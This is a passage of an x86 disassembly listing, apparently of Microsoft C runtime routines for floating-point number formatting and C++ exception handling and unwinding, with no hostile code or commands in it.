eax, [esp+arg_0] mov dl, byte_43CBE8 mov cl, [eax] test cl, cl jz short loc_421951 loc_421945: ; CODE XREF: sub_421935+1Aj cmp cl, dl jz short loc_421951 mov cl, [eax+1] inc eax test cl, cl jnz short loc_421945 loc_421951: ; CODE XREF: sub_421935+Ej ; sub_421935+12j mov cl, [eax] inc eax test cl, cl jz short locret_421982 loc_421958: ; CODE XREF: sub_421935+34j mov cl, [eax] test cl, cl jz short loc_42196B cmp cl, 65h jz short loc_42196B cmp cl, 45h jz short loc_42196B inc eax jmp short loc_421958 ; --------------------------------------------------------------------------- loc_42196B: ; CODE XREF: sub_421935+27j ; sub_421935+2Cj ... mov ecx, eax loc_42196D: ; CODE XREF: sub_421935+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42196D cmp [eax], dl jnz short loc_421978 dec eax loc_421978: ; CODE XREF: sub_421935+40j ; sub_421935+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421978 locret_421982: ; CODE XREF: sub_421935+21j retn sub_421935 endp ; =============== S U B R O U T I N E ======================================= sub_421983 proc near ; DATA XREF: sub_41C760+28o ; ___:off_43CF90o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427878 fnstsw ax sahf jb short loc_421998 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421998: ; CODE XREF: sub_421983+Fj xor eax, eax retn sub_421983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42199B proc near ; CODE XREF: sub_420510+430p ; DATA XREF: sub_41C760+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4219C4 lea eax, [ebp+var_8] push eax call sub_424518 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42199B+Cj lea eax, [ebp+arg_8] push eax call sub_424545 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42199B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219D9 proc near ; CODE XREF: sub_421C56+17p ; sub_421CA0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DB9F0, 0 push ebx push esi jz short loc_421A0E mov ebx, [ebp+arg_8] mov eax, dword_4DB9EC xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421CF1 pop ecx pop ecx jmp short loc_421A46 ; --------------------------------------------------------------------------- loc_421A0E: ; CODE XREF: sub_4219D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4245E9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424572 add esp, 14h loc_421A46: ; CODE XREF: sub_4219D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421A52 mov byte ptr [eax], 2Dh inc eax loc_421A52: ; CODE XREF: sub_4219D9+73j test ebx, ebx jle short loc_421A6A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43CBE8 mov eax, edi pop edi mov [eax], cl loc_421A6A: ; CODE XREF: sub_4219D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DB9F0, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41BEB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421A91 mov byte ptr [ecx], 45h loc_421A91: ; CODE XREF: sub_4219D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421AD6 mov ebx, [esi+4] dec ebx jns short loc_421AA5 neg ebx mov byte ptr [ecx], 2Dh loc_421AA5: ; CODE XREF: sub_4219D9+C5j inc ecx cmp ebx, 64h jl short loc_421ABC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421ABC: ; CODE XREF: sub_4219D9+D0j inc ecx cmp ebx, 0Ah jl short loc_421AD3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421AD3: ; CODE XREF: sub_4219D9+E7j add [ecx+1], bl loc_421AD6: ; CODE XREF: sub_4219D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4219D9 endp ; =============== S U B R O U T I N E ======================================= sub_421ADD proc near ; CODE XREF: sub_421C7D+13p ; sub_421CA0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DB9F0, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421B18 mov eax, dword_4DB9F4 mov ebx, [esp+10h+arg_8] mov esi, dword_4DB9EC cmp eax, ebx jnz short loc_421B48 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421B48 ; --------------------------------------------------------------------------- loc_421B18: ; CODE XREF: sub_421ADD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4245E9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424572 add esp, 14h loc_421B48: ; CODE XREF: sub_421ADD+22j ; sub_421ADD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421B56 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421B56: ; CODE XREF: sub_421ADD+70j mov eax, [esi+4] test eax, eax jg short loc_421B6D push 1 push edi call sub_421CF1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421B6F ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421ADD+7Ej add edi, eax loc_421B6F: ; CODE XREF: sub_421ADD+8Ej test ebx, ebx jle short loc_421BB4 push 1 push edi call sub_421CF1 mov al, byte_43CBE8 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421BB4 cmp byte_4DB9F0, 0 jz short loc_421B99 neg esi jmp short loc_421B9F ; --------------------------------------------------------------------------- loc_421B99: ; CODE XREF: sub_421ADD+B6j neg esi cmp ebx, esi jl short loc_421BA1 loc_421B9F: ; CODE XREF: sub_421ADD+BAj mov ebx, esi loc_421BA1: ; CODE XREF: sub_421ADD+C0j push ebx push edi call sub_421CF1 push ebx push 30h push edi call sub_41B590 add esp, 14h loc_421BB4: ; CODE XREF: sub_421ADD+94j ; sub_421ADD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_421CA0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4245E9 mov dword_4DB9EC, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DB9F4, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424572 mov eax, dword_4DB9EC add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DB9F4, ecx setl cl mov byte_4DB9F8, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DB9F4, eax jl short loc_421C41 cmp eax, ebx jge short loc_421C41 test cl, cl jz short loc_421C32 loc_421C28: ; CODE XREF: sub_421BBB+72j mov al, [esi] inc esi test al, al jnz short loc_421C28 and [esi-2], al loc_421C32: ; CODE XREF: sub_421BBB+6Bj push ebx push [ebp+arg_4] push edi call sub_421C7D add esp, 0Ch jmp short loc_421C51 ; --------------------------------------------------------------------------- loc_421C41: ; CODE XREF: sub_421BBB+63j ; sub_421BBB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421C56 add esp, 10h loc_421C51: ; CODE XREF: sub_421BBB+84j pop edi pop esi pop ebx pop ebp retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DB9F0, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4219D9 and byte_4DB9F0, 0 add esp, 10h retn sub_421C56 endp ; =============== S U B R O U T I N E ======================================= sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DB9F0, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421ADD and byte_4DB9F0, 0 add esp, 0Ch retn sub_421C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp ; DATA XREF: sub_41C760o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421CDB cmp [ebp+arg_8], 45h jz short loc_421CDB cmp [ebp+arg_8], 66h jnz short loc_421CC8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421ADD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421CC8: ; CODE XREF: sub_421CA0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BBB jmp short loc_421CEC ; --------------------------------------------------------------------------- loc_421CDB: ; CODE XREF: sub_421CA0+7j ; sub_421CA0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4219D9 loc_421CEC: ; CODE XREF: sub_421CA0+39j add esp, 10h pop ebp retn sub_421CA0 endp ; =============== S U B R O U T I N E ======================================= sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp ; sub_421ADD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421D14 push esi mov esi, [esp+8+arg_0] push esi call sub_41AFE0 inc eax push eax push esi add esi, edi push esi call sub_41CC90 add esp, 10h pop esi loc_421D14: ; CODE XREF: sub_421CF1+7j pop edi retn sub_421CF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D16 proc near ; CODE XREF: ___:0041C940p ; sub_41C9A9+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421D2C call sub_4225B2 loc_421D2C: ; CODE XREF: sub_421D16+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421D54 cmp dword ptr [esi+4], 0 jz short loc_421DAA cmp [ebp+arg_14], 0 jnz short loc_421DAA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42205D add esp, 10h jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D54: ; CODE XREF: sub_421D16+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421DAA cmp dword ptr [eax], 0E06D7363h jnz short loc_421D8E cmp [eax+14h], edi jbe short loc_421D8E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421D8E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D8E: ; CODE XREF: sub_421D16+4Aj ; sub_421D16+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421DB1 add esp, 20h loc_421DAA: ; CODE XREF: sub_421D16+23j ; sub_421D16+29j ... push 1 pop eax loc_421DAD: ; CODE XREF: sub_421D16+76j pop edi pop esi pop ebp retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421DD1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421DD6 loc_421DD1: ; CODE XREF: sub_421DB1+16j call sub_4225B2 loc_421DD6: ; CODE XREF: sub_421DB1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A mov esi, dword_4DB9FC test esi, esi jz loc_421F28 mov eax, dword_4DBA00 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424770 pop ecx test eax, eax pop ecx jnz short loc_421E2C call sub_4225B2 loc_421E2C: ; CODE XREF: sub_421DB1+74j cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A call sub_4225B2 loc_421E4A: ; CODE XREF: sub_421DB1+41j ; sub_421DB1+46j ... cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz loc_421F2D cmp [esi+14h], edi jnz loc_421F2D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov ebx, eax loc_421E81: ; CODE XREF: sub_421DB1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421F18 cmp [ebx], edi jg short loc_421F0D cmp edi, [ebx+4] jg short loc_421F0D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421F0A loc_421EA6: ; CODE XREF: sub_421DB1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421ED7 loc_421EB8: ; CODE XREF: sub_421DB1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422000 add esp, 0Ch test eax, eax jnz short loc_421EE6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421EB8 loc_421ED7: ; CODE XREF: sub_421DB1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421EA6 jmp short loc_421F0A ; --------------------------------------------------------------------------- loc_421EE6: ; CODE XREF: sub_421DB1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F0A: ; CODE XREF: sub_421DB1+F3j ; sub_421DB1+133j mov edi, [ebp+var_10] loc_421F0D: ; CODE XREF: sub_421DB1+DEj ; sub_421DB1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421E81 ; --------------------------------------------------------------------------- loc_421F18: ; CODE XREF: sub_421DB1+D6j cmp [ebp+arg_14], 0 jz short loc_421F28 push 1 push esi call sub_422486 pop ecx pop ecx loc_421F28: ; CODE XREF: sub_421DB1+56j ; sub_421DB1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421DB1+37j ; sub_421DB1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421F53 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F58 add esp, 20h jmp short loc_421F28 ; --------------------------------------------------------------------------- loc_421F53: ; CODE XREF: sub_421DB1+180j jmp sub_42255C sub_421DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F58 proc near ; CODE XREF: sub_421DB1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DBA04, 0 push esi push edi jz short loc_421F89 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41C9CE add esp, 1Ch test eax, eax jnz short loc_421FFC loc_421F89: ; CODE XREF: sub_421F58+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov esi, eax loc_421FA5: ; CODE XREF: sub_421F58+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421FFC cmp edi, [esi] jl short loc_421FF4 cmp edi, [esi+4] jg short loc_421FF4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421FCE cmp byte ptr [ecx+8], 0 jnz short loc_421FF4 loc_421FCE: ; CODE XREF: sub_421F58+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421FF4: ; CODE XREF: sub_421F58+57j ; sub_421F58+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421FA5 ; --------------------------------------------------------------------------- loc_421FFC: ; CODE XREF: sub_421F58+2Fj ; sub_421F58+53j pop edi pop esi leave retn sub_421F58 endp ; =============== S U B R O U T I N E ======================================= sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422057 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422057 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422031 add ecx, 8 push ecx push edx call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_422053 loc_422031: ; CODE XREF: sub_422000+1Fj test byte ptr [esi], 2 jz short loc_42203B test byte ptr [edi], 8 jz short loc_422053 loc_42203B: ; CODE XREF: sub_422000+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42204A test byte ptr [edi], 1 jz short loc_422053 loc_42204A: ; CODE XREF: sub_422000+43j test al, 2 jz short loc_422057 test byte ptr [edi], 2 jnz short loc_422057 loc_422053: ; CODE XREF: sub_422000+2Fj ; sub_422000+39j ... xor eax, eax jmp short loc_42205A ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_422000+Bj ; sub_422000+14j ... push 1 pop eax loc_42205A: ; CODE XREF: sub_422000+55j pop edi pop esi retn sub_422000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42205D proc near ; CODE XREF: sub_421D16+34p ; ___:00422153p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42208F: ; CODE XREF: sub_42205D+8Aj cmp esi, [ebp+arg_C] jz short loc_4220E9 cmp esi, 0FFFFFFFFh jle short loc_42209E cmp esi, [edi+4] jl short loc_4220A3 loc_42209E: ; CODE XREF: sub_42205D+3Aj call sub_4225B2 loc_4220A3: ; CODE XREF: sub_42205D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4220BE push 103h push ebx push eax call sub_422510 loc_4220BE: ; CODE XREF: sub_42205D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4220FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4220DE: ; CODE XREF: sub_42205D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42208F ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_42205D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42205D endp ; =============== S U B R O U T I N E ======================================= sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42210C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42210C: ; CODE XREF: sub_4220FB+Cj jmp sub_42255C sub_4220FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422111 proc near ; CODE XREF: sub_421DB1+151p ; sub_421F58+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422133 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4222C2 add esp, 10h loc_422133: ; CODE XREF: sub_422111+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42213F push edi jmp short loc_422142 ; --------------------------------------------------------------------------- loc_42213F: ; CODE XREF: sub_422111+29j push [ebp+arg_24] loc_422142: ; CODE XREF: sub_422111+2Cj call sub_41C8D0 sub_422111 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_42205D mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_42218C add esp, 2Ch test eax, eax jz short loc_422187 push edi push eax call sub_41C88E loc_422187: ; CODE XREF: ___:0042217Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42218C proc near ; CODE XREF: ___:00422174p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DB9FC mov [ebp+var_1C], ecx mov ecx, dword_4DBA00 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DB9FC, edi mov ecx, [ebp+arg_8] mov dword_4DBA00, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41C955 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422252 mov eax, [ebp+var_2C] loc_422219: ; CODE XREF: sub_422232+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42218C endp ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: ___:004278E0o push dword ptr [ebp-14h] call sub_422298 pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: ___:004278E4o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CBB6 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; --------------------------------------------------------------------------- loc_42224A: ; DATA XREF: ___:004278D8o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422252 proc near ; CODE XREF: sub_42218C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DB9FC, eax mov eax, [ebp-20h] mov dword_4DBA00, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422297 cmp dword ptr [edi+10h], 3 jnz short locret_422297 cmp dword ptr [edi+14h], 19930520h jnz short locret_422297 cmp [ebp-24h], ebx jnz short locret_422297 cmp [ebp-2Ch], ebx jz short locret_422297 call sub_41CC1E push eax push edi call sub_422486 pop ecx pop ecx locret_422297: ; CODE XREF: sub_422252+1Cj ; sub_422252+22j ... retn sub_422252 endp ; =============== S U B R O U T I N E ======================================= sub_422298 proc near ; CODE XREF: sub_422228+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4222BF cmp dword ptr [eax+10h], 3 jnz short loc_4222BF cmp dword ptr [eax+14h], 19930520h jnz short loc_4222BF cmp dword ptr [eax+1Ch], 0 jnz short loc_4222BF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4222BF: ; CODE XREF: sub_422298+Cj ; sub_422298+12j ... xor eax, eax retn sub_422298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278E8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42246B cmp byte ptr [eax+8], 0 jz loc_42246B mov eax, [ecx+8] test eax, eax jz loc_42246B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42235F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422350: ; CODE XREF: sub_4222C2+F5j push eax call sub_4224ED pop ecx pop ecx mov [edi], eax jmp loc_422467 ; --------------------------------------------------------------------------- loc_42235F: ; CODE XREF: sub_4222C2+57j mov 